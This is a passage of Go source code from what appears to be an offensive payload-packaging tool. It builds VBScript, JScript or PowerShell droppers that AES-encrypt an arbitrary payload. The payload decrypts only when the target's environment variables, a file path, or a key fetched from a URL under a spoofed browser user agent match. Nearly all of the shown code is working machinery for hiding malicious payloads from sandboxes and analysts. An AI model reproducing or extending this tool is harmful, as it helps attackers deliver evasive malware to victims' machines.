85 | result, err = envVarCode(result, envVarOrder, payloadWriter)
86 | if err != nil {
87 | return
88 | }
89 |
90 | // TODO: handle multiple SHA512 iterations
91 | keyHash := lib.GenerateSHA512(strings.ToLower(key))[:32]
92 | text, iv, err := lib.AESEncrypt([]byte(keyHash), []byte(payload))
93 |
94 | if err != nil {
95 | fmt.Printf("[!] Error received encrypting: %s", err)
96 | return
97 | }
98 |
99 | result = bytes.Replace(result, []byte("~AESIVBASE64~"), []byte(iv), 1)
100 | result = bytes.Replace(result, []byte("~ENCRYPTEDBASE64~"), []byte(text), 1)
101 | result = bytes.Replace(result, []byte("~PAYLOADHASH~"), []byte(payloadHash), 1)
102 | result = bytes.Replace(result, []byte("~MINUSBYTES~"), []byte(string(config.MinusBytes)), 1)
103 |
104 | outfile := "payload" + payloadWriter.Extension
105 | writeFile(outfile, result)
106 |
107 | fmt.Println("\nPAYLOAD DETAILS-----------------------")
108 | fmt.Println("Output File: " + outfile)
109 | fmt.Println("Environmental Keys: " + key)
110 | fmt.Println("Decryption Key: " + keyHash)
111 | fmt.Println("Payload Hash: " + payloadHash)
112 | if httpKey != "" {
113 | fmt.Println("HTTP Key: " + httpKey)
114 | }
115 |
116 | }
117 |
118 | // Config defines structure to be read from config.json
119 | type Config struct {
120 | Language string
121 | WSHAutoVersion string
122 | StartDir string
123 | Depth string
124 | PathKey string
125 | EnvVars map[string]string
126 | Payload string
127 | PayloadPath string
128 | MinusBytes string
129 | HttpKeyUrl string
130 | HttpKeyUA string
131 | HttpKeyRetry string
132 | }
133 |
134 | // PayloadWriter for handling what to write
135 | type PayloadWriter struct {
136 | Language string
137 | WSHAutoVersion string
138 | BaseTemplate string
139 | DirTemplate string
140 | EnvKeyTemplate string
141 | AutoVersionTemplate string
142 | HttpKeyTemplate string
143 | HttpKeyTestTemplate string
144 | EnvKeyCode string
145 | Extension string
146 | }
147 |
148 | func setupPayloadWriter(lang string) *PayloadWriter {
149 | switch lang {
150 | case "vbscript":
151 | return &PayloadWriter{
152 | Language: "vbscript",
153 | BaseTemplate: "data/vbscript/base.vbs",
154 | DirTemplate: "data/vbscript/directory.vbs",
155 | EnvKeyTemplate: "data/vbscript/envkey.vbs",
156 | AutoVersionTemplate: "data/vbscript/autoversion.vbs",
157 | HttpKeyTemplate: "data/vbscript/httpkey.vbs",
158 | HttpKeyTestTemplate: "data/vbscript/httpkey-test.vbs",
159 | EnvKeyCode: "oEnv(\"%s\")",
160 | Extension: ".vbs"}
161 | case "jscript":
162 | return &PayloadWriter{
163 | Language: "jscript",
164 | BaseTemplate: "data/jscript/base.js",
165 | DirTemplate: "data/jscript/directory.js",
166 | EnvKeyTemplate: "data/jscript/envkey.js",
167 | AutoVersionTemplate: "data/jscript/autoversion.js",
168 | HttpKeyTemplate: "data/jscript/httpkey.js",
169 | HttpKeyTestTemplate: "data/jscript/httpkey-test.js",
170 | EnvKeyCode: "oEnv(\"%s\")",
171 | Extension: ".js"}
172 | case "powershell":
173 | return &PayloadWriter{
174 | Language: "powershell",
175 | BaseTemplate: "data/powershell/base.ps1",
176 | DirTemplate: "data/powershell/directory.ps1",
177 | EnvKeyTemplate: "data/powershell/envkey.ps1",
178 | AutoVersionTemplate: "",
179 | HttpKeyTemplate: "data/powershell/httpkey.ps1",
180 | HttpKeyTestTemplate: "data/powershell/httpkey-test.ps1",
181 | EnvKeyCode: "$oEnv.Invoke(\"%s\")",
182 | Extension: ".ps1"}
183 | default:
184 | return nil
185 | }
186 | }
187 |
188 | func parseConfig(configPath string) *Config {
189 | if configPath == "" {
190 | configPath = "config.json"
191 | }
192 | file, err := os.Open(configPath)
193 | if err != nil {
194 | fmt.Println("[!] Error reading config.json")
195 | return nil
196 | }
197 | decoder := json.NewDecoder(file)
198 | config := Config{}
199 | err = decoder.Decode(&config)
200 | if err != nil {
201 | fmt.Println("[!] Error parsing config.json:", err)
202 | return nil
203 | }
204 | return &config
205 | }
206 |
207 | func readFile(path string) ([]byte, error) {
208 | fileBytes, err := ioutil.ReadFile(path)
209 | if err != nil {
210 | return nil, errors.New("[!] readFile: Error reading file")
211 | }
212 | return fileBytes, nil
213 | }
214 |
215 | func writeFile(filename string, contents []byte) {
216 | f, err := os.Create(filename)
217 | if err != nil {
218 | panic(err)
219 | }
220 |
221 | defer f.Close()
222 |
223 | _, err = f.Write(contents)
224 | if err != nil {
225 | panic(err)
226 | }
227 | }
228 |
229 | // Get base code to start
230 | func baseCode(autoVersion string, pw *PayloadWriter) ([]byte, error) {
231 | baseCode, err := readFile(pw.BaseTemplate)
232 | if err != nil {
233 | fmt.Printf("[!] Unable to read %s\n", (pw.BaseTemplate))
234 | return nil, err
235 | }
236 |
237 | if pw.AutoVersionTemplate != "" {
238 | if strings.ToLower(autoVersion) == "yes" {
239 | av, err := readFile(pw.AutoVersionTemplate)
240 | if err != nil {
241 | fmt.Printf("[!] Unable to read %s\n", (pw.AutoVersionTemplate))
242 | return nil, err
243 | }
244 | baseCode = bytes.Replace(baseCode, []byte("~AUTOVERSION~"), []byte(av), 1)
245 | } else {
246 | baseCode = bytes.Replace(baseCode, []byte("~AUTOVERSION~"), []byte(""), 1)
247 | }
248 | }
249 |
250 | return baseCode, nil
251 | }
252 |
253 | // Get directory code for directory walking
254 | func directoryCode(text []byte, startDir, depth string, pw *PayloadWriter) ([]byte, error) {
255 | if startDir != "" {
256 | contents, err := readFile(pw.DirTemplate)
257 | if err != nil {
258 | fmt.Printf("[!] Error reading %s\n", pw.DirTemplate)
259 | return nil, err
260 | }
261 |
262 | // JScript needs escaped slashes, VBS does not
263 | if pw.Language == "jscript" {
264 | startDir = strings.Replace(startDir, "\\", "\\\\", -1)
265 | }
266 |
267 | // To save on payload code size just assigning
268 | // a huge number for now
269 | if depth == "" {
270 | depth = "100000"
271 | }
272 |
273 | result := bytes.Replace(text, []byte("~WALKOS~"), contents, 1)
274 | result = bytes.Replace(result, []byte("~STARTDIR~"), []byte(startDir), 1)
275 | result = bytes.Replace(result, []byte("~DEPTH~"), []byte(depth), 1)
276 |
277 | return result, nil
278 | }
279 | result := bytes.Replace(text, []byte("~WALKOS~"), []byte(""), 1)
280 | return result, nil
281 | }
282 |
283 | // Set up the environmental vars code within the script
284 | // TODO: This got overly complex, need to simplify
285 | func envVarCode(text []byte, envVarCode []string, pw *PayloadWriter) ([]byte, error) {
286 | if len(envVarCode) > 0 {
287 | contents, err := readFile(pw.EnvKeyTemplate)
288 | if err != nil {
289 | fmt.Printf("[!] Error reading %s\n", pw.EnvKeyTemplate)
290 | return nil, err
291 | }
292 |
293 | result := bytes.Replace(text, []byte("~ENVVAR~"), contents, 1)
294 |
295 | envs := fmt.Sprintf(pw.EnvKeyCode, envVarCode[0])
296 | if len(envVarCode) > 1 {
297 | for _, envVar := range envVarCode[1:] {
298 | envs += fmt.Sprintf(", "+pw.EnvKeyCode, envVar)
299 | }
300 | }
301 | result = bytes.Replace(result, []byte("~ENVVARS~"), []byte(envs), 1)
302 |
303 | return result, nil
304 | }
305 | result := bytes.Replace(text, []byte("~ENVVAR~"), []byte(""), 1)
306 | return result, nil
307 | }
308 |
309 | // returns the new payload, httpkey, and err
310 | func httpKeyCode(httpKey, payload string, config *Config, pw *PayloadWriter) (string, string, error) {
311 | if httpKey == "" {
312 | var err error
313 | httpKey, err = lib.GenerateHttpKey(config.HttpKeyUrl, config.HttpKeyUA)
314 | if err != nil {
315 | fmt.Printf("[!] Error accessing %s\n%s\n", config.HttpKeyUrl, err)
316 | return "", "", err
317 | }
318 | }
319 |
320 | payloadHash := lib.GenerateSHA512(payload)
321 | text, iv, err := lib.AESEncrypt([]byte(httpKey), []byte(payload))
322 | if err != nil {
323 | fmt.Printf("[!] Error received encrypting: %s\n", err)
324 | return "", "", err
325 | }
326 |
327 | contents, err := readFile(pw.HttpKeyTemplate)
328 | if err != nil {
329 | return "", "", err
330 | }
331 |
332 | if config.HttpKeyUA == "" {
333 | config.HttpKeyUA = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
334 | }
335 |
336 | result := bytes.Replace(contents, []byte("~HKPAYLOADHASH~"), []byte(payloadHash), 1)
337 | result = bytes.Replace(result, []byte("~HKPAYLOAD~"), []byte(text), 1)
338 | result = bytes.Replace(result, []byte("~RETRYNUM~"), []byte(config.HttpKeyRetry), 1)
339 | result = bytes.Replace(result, []byte("~HKURL~"), []byte(config.HttpKeyUrl), 1)
340 | result = bytes.Replace(result, []byte("~HKUSERAGENT~"), []byte(config.HttpKeyUA), 1)
341 | result = bytes.Replace(result, []byte("~HKIV~"), []byte(iv), 1)
342 |
343 | httpKeyTestCode(config.HttpKeyUrl, config.HttpKeyUA, httpKey, pw)
344 |
345 | return string(result), httpKey, nil
346 | }
347 |
348 | func httpKeyTestCode(url, ua, httpKey string, pw *PayloadWriter) {
349 | contents, err := readFile(pw.HttpKeyTestTemplate)
350 | if err != nil {
351 | return
352 | }
353 |
354 | result := bytes.Replace(contents, []byte("~HTTPKEY~"), []byte(httpKey), 1)
355 | result = bytes.Replace(result, []byte("~HKURL~"), []byte(url), 1)
356 | result = bytes.Replace(result, []byte("~HKUSERAGENT~"), []byte(ua), 1)
357 |
358 | outfile := "httpkey-tester" + pw.Extension
359 | fmt.Printf("[*] Make sure to test the httpkey with %s!\n", outfile)
360 | writeFile(outfile, result)
361 | }
362 |
363 | // buildKey builds the final key with env vars, path, etc. and also returns
364 | // the order of the env vars (maps don't always come out in same order)
365 | // key = [env var 1][env var 2][env var N][file path]
366 | func buildKey(envVars map[string]string, filePath string) (string, []string) {
367 | result := ""
368 | envVarOrder := make([]string, len(envVars))
369 |
370 | i := 0
371 | for k, v := range envVars {
372 | result += v
373 | envVarOrder[i] = k
374 | i++
375 | }
376 | result += filePath
377 |
378 | return result, envVarOrder
379 | }
380 |
--------------------------------------------------------------------------------